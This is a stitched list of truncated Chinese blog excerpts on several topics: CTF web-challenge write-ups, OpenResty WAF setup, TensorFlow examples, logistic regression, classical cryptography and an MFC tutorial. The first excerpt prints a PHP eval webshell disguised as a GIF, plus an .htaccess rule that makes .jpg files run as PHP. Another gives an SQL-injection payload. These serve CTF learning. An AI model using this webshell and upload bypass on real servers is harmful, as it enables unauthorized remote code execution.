1. [GXYCTF2019]BabyUpload 这道题和前面的一样，后缀检查会把带ph的给截胡，后缀换成jpg 直接用  GIF89a<script language="php">eval($_POST["a"]); </script> 在上传一个配置文件 .htaccess   内容  AddType application/x-httpd-php .jpg ，将jpg文件按照php文件解析 webshell工具链接即可 2.[B...

17.[ACTF2020 新生赛]Upload 这一题和上一篇的极客大挑战的upload差不多，同样的脚本拿去上传也可以上传成功，更人性化的是把目录都给出来了 18.[极客大挑战 2019]BabySQL SQL注入绕过方法汇总，很棒：https://blog.csdn.net/huanghelouzi/article/details/82995313 payload：?username=1' order by 3 %23&password=1 order 在这里报错显示为der，这里对输入的字符串做了过滤，要么是屏蔽了or等字段...

1. [HCTF 2018] WarmUp 查看页面元素，发现source.php 是页面源码，其中发现了hint.php文件，访问有： flag not here, and flag in ffffllllaaaagggg 这里要做的是绕过这些检查，主要在checkFile函数检查 这里截取？前的字符串，检查是否在白名单，这个页面本身source.php八成也在白名单上 构造payload： 2. [极客大挑战 2019]EasySQL 任意账户密码登陆一下 ...

openresty目录结构与介绍 openresty文件夹 其中nginx是最经常修改配置的文件夹 nginx文件夹 logs文件夹: 存放日志文件：error.log, access.log, nginx.pidsbin文件夹：存放nginx启动程序，一般先添加pathconf文件夹：存放nginx配置文件，例如nginx.conf等，我们添加的waf文件也放在了这里html文件夹：存放nginx服务的网页程序，index.html等 conf文件夹 nginx.conf为nginx的启动默认配置文件，启动时可选择更改waf文件夹：存放waf程序 waf文件夹：（此waf来源GitHub，也...

新的centos虚拟机 1. 安装openresty wget https://openresty.org/package/centos/openresty.repo sudo mv openresty.repo /etc/yum.repos.d/ sudo yum check-update sudo yum install -y openresty sudo yum install -y openresty-resty 安装开发库 yum install pcre-devel&nb...

OpenResty官网：http://openresty.org/cn/download.html 一步一步安装完成 安装开发库，记得使用root用户 构建openResty 进入提取目录输入  ./configure 编译，注意需要获取root权限 创建工作目录 在log/目录下创建error.log空白文件，另外两个文件为系统生成，暂不管 启动nginx服务，添加PATH 然后，我们以这种...

https://www.cnblogs.com/zangfans/p/8848279.html

无wp寸步难行 原链：https://blog.csdn.net/hxhxhxhxx/article/details/107900247 攻防世界web进阶区unfinish详解 题目 详解 题目 详解 我们使用御剑，扫描一波 我们进入注册页面查看，发现这个，有注册的话猜一下二次注入（这里注入，然后去页面看结果） 我们先拿AWVS试试， 哦~我的上帝，它存在注入 我们试试，burp的fuzz看看他过滤了什么 还是过滤了蛮多的 这些是都没过滤的 既然知道了他是sq...

八股法构建神经网络Sequential import tensorflow as tf mnist = tf.keras.datasets.mnist (x_train, y_train), (x_test, y_test) = mnist.load_data() x_train, x_test = x_train / 255.0, x_test / 255.0 model = tf.keras.models.Sequential([ tf.keras.layers.Flatten(), tf.keras.layers.Dense(128, activation='relu...

使用Sequential方法训练鸢尾花模型 import tensorflow as tf from sklearn import datasets import numpy as np import os # 屏蔽警告 os.environ['TF_CPP_MIN_LOG_LEVEL']='2' # 训练集输入特征 x_train = datasets.load_iris().data # 训练集的标签 y_train = datasets.load_iris().target # 数据集的乱序 np.random.seed(116) np.random.shuffle(x_train) ...

数学模型 对数线性回归： lny = wx+b; y=ewx+b Y = wx+b; g(y) =wx+b; y=h(wx+b) = g-1(wx+b), g(.)作为联系函数 高维模型 Y=g-1(WTX) 【 其中 W = (W0+W1+……+Wm)T, X = (X0+X1+……+Xm)T, X0 = 1 】 sigmoid函数 y = g-1(z) = 1/(1+e-(wx+b)) sigmoid多元模型 y = 1/(1+e-(WTX)) 【 其中 W = (W0+W1+……+Wm)T, X = (X0+X1+……+Xm)...

密码攻击概述 唯密文攻击： ---攻击者掌握: 加密算法，截获的部分密文 已知明文攻击： --攻击者掌握：加密算法，截获的部分密文，一个或多个明文密文对 选择明文攻击： ---攻击者掌握：加密算法，截获的部分密文，自己选择的明文消息以及密钥产生的相应密文 选择密文攻击： ---攻击者掌握：加密算法，截获的部分密文，自己选择的密文消息以及相应的被解密明文 古典密码 单表代换密码 凯撒密码 c=E3(m)m+3 (mod 26) 0<=m<=25m=D3(c)m-3 (mod 26) 0<=c<=25【其中3为加密解密的密钥，进行循环移位】 移位变换 c=Ek(m)m+k ...

转自：https://blog.csdn.net/wang18323834864/article/details/78621633 1. 选择菜单项File->New->Project，弹出“New Project”对话框。  2.左侧面板中Installed Templated的Visual C++下选择MFC，中间窗口中选择MFC Application，然后在下面的Name编辑框中键入工程名称，本例取名“Addition”，在Location编辑框中设置工程的保存路径。点“OK”。  3.点“Next”到“Applicatio...

https://blog.csdn.net/weixin_44790046/article/details/103016154?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1.control